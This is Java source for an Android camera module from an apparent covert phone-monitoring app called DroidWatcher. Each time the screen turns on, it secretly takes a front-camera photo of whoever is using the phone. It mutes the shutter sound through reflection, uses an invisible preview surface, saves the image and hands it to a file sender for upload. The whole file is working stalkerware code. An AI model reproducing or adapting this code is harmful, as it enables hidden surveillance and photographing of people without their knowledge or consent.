package com.droidwatcher.modules;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.PackageManager;
import android.hardware.Camera;
import android.hardware.Camera.CameraInfo;
import android.hardware.Camera.PictureCallback;
import android.hardware.Camera.Size;
import android.os.Build;
import android.os.Handler;
import android.os.Message;
import android.provider.MediaStore;
import android.support.v4.content.LocalBroadcastManager;
import android.util.DisplayMetrics;
import android.view.SurfaceView;

import com.droidwatcher.Debug;
import com.droidwatcher.FileSender;
import com.droidwatcher.SettingsManager;
import com.droidwatcher.lib.FileUtil;
import com.droidwatcher.lib.ImageUtil;
import com.droidwatcher.receivers.ScreenStateReceiver;
import com.droidwatcher.util.AXLog;

//import com.droidwatcher.modules.ACRA;

import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.ref.WeakReference;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.Locale;

@SuppressLint("NewApi")
public class CameraModule implements PictureCallback {
	private static final long PHOTO_DELAY = 1 * 1000;
//	private static final Locale sLocale = new Locale("zh","CN");
	private static final Locale sLocale = new Locale("en");
	public static final int TAKE_PHOTO = 0;
	public static final int TAKE_PHOTO1 = 1;
	private static final int PICK_FROM_CAMERA = 9000;
	public static final String PREFIX = "[front_camera]";

	private static Context mContext;
	private SettingsManager mSettings;
	private Handler mHandler;
	private BroadcastReceiver mScreenStateReceiver;
	private Boolean mStarted;
	
	public CameraModule(Context context){
		if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.GINGERBREAD) {
			mContext = context;
			mSettings = new SettingsManager(context);
			
			mScreenStateReceiver = new BroadcastReceiver() {
				@Override
				public void onReceive(Context context, Intent intent) {
					int state = intent.getIntExtra(ScreenStateReceiver.SCREEN_STATE_EXTRA, ScreenStateReceiver.SCREEN_STATE_UNKNOWN);
					
					switch (state) {
					case ScreenStateReceiver.SCREEN_STATE_OFF:
						AXLog.e("wzytest","run in SCREEN_STATE_OFF");
						mHandler.removeMessages(TAKE_PHOTO);
						break;
					case ScreenStateReceiver.SCREEN_STATE_ON:
						AXLog.e("wzytest","run in SCREEN_STATE_ON");
						if(mSettings.isFrontCameraEnabled()){
							//mHandler.sendEmptyMessageDelayed(TAKE_PHOTO, PHOTO_DELAY);
							mHandler.sendEmptyMessageDelayed(TAKE_PHOTO, PHOTO_DELAY);
						}

						break;
					default:
						break;
					}
				}
			};
			
			mHandler = new MyHandler(this);
			mStarted = true;
		}
		else{
			mStarted = false;
		}
	}
	
	public void start(){
		AXLog.e("wzytest","mStarted:"+mStarted+" checkFrontCamera():"+checkFrontCamera());
		if (mStarted && checkFrontCamera()) {
			LocalBroadcastManager.getInstance(mContext).registerReceiver(
				mScreenStateReceiver,
				new IntentFilter(ScreenStateReceiver.SCREEN_EVENT)
			);
		}
	}
	
	public void dispose(){
		if (mStarted) {
			try {
				mHandler.removeMessages(0);
				mHandler = null;
				LocalBroadcastManager.getInstance(mContext).unregisterReceiver(mScreenStateReceiver);
				mScreenStateReceiver = null;

			} catch (Exception e) {
				Debug.exception(e);
			}
		}
	}
	
	private boolean checkFrontCamera(){
		if (Camera.getNumberOfCameras() >= 2) {
			return true;
		}
		else{
			return false;
		}
	}
	
	public static boolean checkCameraHardware(Context context) {
	    if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)){
	        // this device has a camera
	        return true;
	    } else {
	        // no camera on this device
	        return false;
	    }
	}
	
	private Camera getCameraInstance(int cameraID){
		Camera camera = null;
	    try {
	    	camera = Camera.open(cameraID); // attempt to get a Camera instance
	    }
	    catch (Exception e){
	        Debug.exception(e);// Camera is not available (in use or does not exist)
	    }
	    return camera; // returns null if camera is unavailable
	}
	
	private void takePhoto(){

		Camera camera = null;
		try {
			camera = getCameraInstance(CameraInfo.CAMERA_FACING_FRONT);

			if (camera == null) {
				return;
			}
			
			try {
				Camera.Parameters params = camera.getParameters();

				params.setPreviewSize(720,1280);
				params.setPictureSize(720,1280);
//				setPictureSize(params);
//				setPreviewSize(params,mContext);

//				Size size = getOptimalSize(params.getSupportedPictureSizes());
//				if (size != null) {
//					params.setPictureSize(size.width, size.height);
//				}
//				Size size1 = getOptimalSize(params.getSupportedPreviewSizes());
//				if (size1 != null) {
//					params.setPictureSize(size1.width, size1.height);
//				}

				params.setJpegQuality(60);
				camera.setParameters(params);
				
			} catch (Exception e) {
				Debug.exception(e);
			}
			
			//camera.enableShutterSound(false);
			try {

			//	camera.enableShutterSound(false);

				java.lang.reflect.Method method = Camera.class.getMethod("enableShutterSound", boolean.class);
				if (method != null) {
					method.invoke(camera, false);
				}
				
			} catch (Exception e) {
				Debug.exception(e);
			}
			
			try {
				SurfaceView view = new SurfaceView(mContext);
				camera.setPreviewDisplay(view.getHolder());
				camera.startPreview();
			} catch (Exception e) {
				Debug.exception(e);
//				ACRA.getErrorReporter().handleSilentException(e);
			}


			camera.takePicture(null, null, this);
			
		} catch (Exception e) {
			Debug.exception(e);
		}finally {
			try {
				Thread.sleep(1000);
				if (camera != null) {
					camera.release();
					camera = null;
				}
			} catch (InterruptedException e) {
				e.printStackTrace();
			}
		}
	}
	
	private Size getOptimalSize(List<Size> supportedSizes){
		Size size = null;
		
		for (Size supportedSize : supportedSizes) {
			if (size == null) {
				size = supportedSize;
			}
			else{
				if (supportedSize.width < size.width && supportedSize.height < size.height) {
					size = supportedSize;
				}
			}
		}
		
		return size;
	}
	
	@Override
	public void onPictureTaken(byte[] data, Camera camera) {

		AXLog.e("wzytest","利用前置摄像头拍照 data.size："+data.length);
		try {
			if (!FileUtil.isExternalStorageAvailable() || !FileUtil.hasExternalStorageFreeMemory()) {
				return;
			}
			
			if (ImageUtil.isBlack(data)) {
				return;
			}
			
			FileOutputStream out = null;

			try {
				Date dt = new Date();
				String date = SimpleDateFormat.getDateTimeInstance(SimpleDateFormat.SHORT, SimpleDateFormat.MEDIUM, sLocale).format(dt);
				date = date.replace(':', '-');//.replace(' ', '_');
				//String fName = PREFIX + "[" + date + "]" + "[" + dt.getTime() + "]" + ".jpg";
				String fName = PREFIX  + dt.getTime()+ ".jpg";
				out = new FileOutputStream(FileUtil.getExternalFullPath(mContext, fName));

//				out = new FileOutputStream(Environment.getExternalStorageDirectory()+"/"+"testFront.jpg");

				out.write(data);
			    
			    new FileSender(mContext, FileSender.FileType.FRONT_CAMERA_PHOTO).start();
				    
			} catch (Exception e) {
				e.printStackTrace();
			//	ACRA.getErrorReporter().handleSilentException(e);
				
			} finally {
				if (out != null) {
					try {
						out.close();
						
					} catch (IOException e) {
						Debug.exception(e);
					}
					out = null;
				}
			}
			
		} catch (Exception e) {
			Debug.exception(e);
			//ACRA.getErrorReporter().handleSilentException(e);
		} finally {
			if (camera != null) {
				camera.release();
				camera = null;
			}
		}
	}
	
	private static class MyHandler extends Handler{
		private final WeakReference<CameraModule> mModule;


		private MyHandler(CameraModule module) {
			mModule = new WeakReference<CameraModule>(module);
	    }
		
		@Override
        public void handleMessage(Message msg) {
			switch (msg.what){
				case 0:
					CameraModule mgr = mModule.get();
					if (mgr != null && msg.what == TAKE_PHOTO) {
						mgr.takePhoto();
					}
					break;
				case 1:

					AXLog.e("wzytest","run in 接收到消息1111");
					Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);

					intent.putExtra("camerasensortype", 2); // 调用前置摄像头
					intent.putExtra("autofocus", true); // 自动对焦
					intent.putExtra("fullScreen", false); // 全屏
					intent.putExtra("showActionIcons", false);
					Activity activity  =((Activity)mContext);
					activity.startActivityForResult(intent, PICK_FROM_CAMERA);


					break ;
			}

		}
	}


	/** 输出的照片为最高像素 */
	public static void setPictureSize(Camera.Parameters parametes) {
		List<Camera.Size> localSizes = parametes.getSupportedPictureSizes();
		Camera.Size biggestSize = null;
		Camera.Size fitSize = null;// 优先选预览界面的尺寸
		Camera.Size previewSize = parametes.getPreviewSize();
		float previewSizeScale = 0;
		if(previewSize != null) {
			previewSizeScale = previewSize.width / (float) previewSize.height;
		}

		if(localSizes != null) {
			int cameraSizeLength = localSizes.size();
			for (int n = 0; n < cameraSizeLength; n++) {
				Camera.Size size = localSizes.get(n);
				if(biggestSize == null) {
					biggestSize = size;
				} else if(size.width >= biggestSize.width && size.height >= biggestSize.height) {
					biggestSize = size;
				}

				// 选出与预览界面等比的最高分辨率
				if(previewSizeScale > 0
						&& size.width >= previewSize.width && size.height >= previewSize.height) {
					float sizeScale = size.width / (float) size.height;
					if(sizeScale == previewSizeScale) {
						if(fitSize == null) {
							fitSize = size;
						} else if(size.width >= fitSize.width && size.height >= fitSize.height) {
							fitSize = size;
						}
					}
				}
			}

			// 如果没有选出fitSize, 那么最大的Size就是FitSize
			if(fitSize == null) {
				fitSize = biggestSize;
			}

			AXLog.e("wzytest","fitSize.width:"+fitSize.width +" fitSize.height:"+fitSize.height);

//							Size size = getOptimalSize(parametes.getSupportedPictureSizes());
//			if (size != null) {
//				parametes.setPictureSize(size.width, size.height);
//			}
//			parametes.getSupportedPictureSizes()

			parametes.setPictureSize(fitSize.width, fitSize.height);
		}
	}


	public static void setPreviewSize(Camera.Parameters parametes,Context context) {
		DisplayMetrics displayMetrics = context.getResources().getDisplayMetrics();
		AXLog.e("wzytest","w:"+displayMetrics.widthPixels +" h:"+displayMetrics.heightPixels);
		List<Camera.Size> localSizes = parametes.getSupportedPreviewSizes();
		Camera.Size biggestSize = null;
		Camera.Size fitSize = null;// 优先选屏幕分辨率
		Camera.Size targetSize = null;// 没有屏幕分辨率就取跟屏幕分辨率相近(大)的size
		Camera.Size targetSiz2 = null;// 没有屏幕分辨率就取跟屏幕分辨率相近(小)的size
		if(localSizes != null) {
			int cameraSizeLength = localSizes.size();
			for (int n = 0; n < cameraSizeLength; n++) {
				Camera.Size size = localSizes.get(n);
				if(biggestSize == null ||
						(size.width >= biggestSize.width && size.height >= biggestSize.height)) {
					biggestSize = size;
				}

				if(size.width == displayMetrics.widthPixels
						&& size.height == displayMetrics.heightPixels) {
					fitSize = size;
				} else if (size.width == displayMetrics.widthPixels
						|| size.height == displayMetrics.heightPixels) {
					if(targetSize == null) {
						targetSize = size;
					} else if (size.width < displayMetrics.widthPixels
							|| size.height < displayMetrics.heightPixels) {
						targetSiz2 = size;
					}
				}
			}

			if(fitSize == null) {
				fitSize = targetSize;
			}

			if(fitSize == null) {
				fitSize = targetSiz2;
			}

			if(fitSize == null) {
				fitSize = biggestSize;
			}
			parametes.setPreviewSize(fitSize.width, fitSize.height);
		}

	}
}
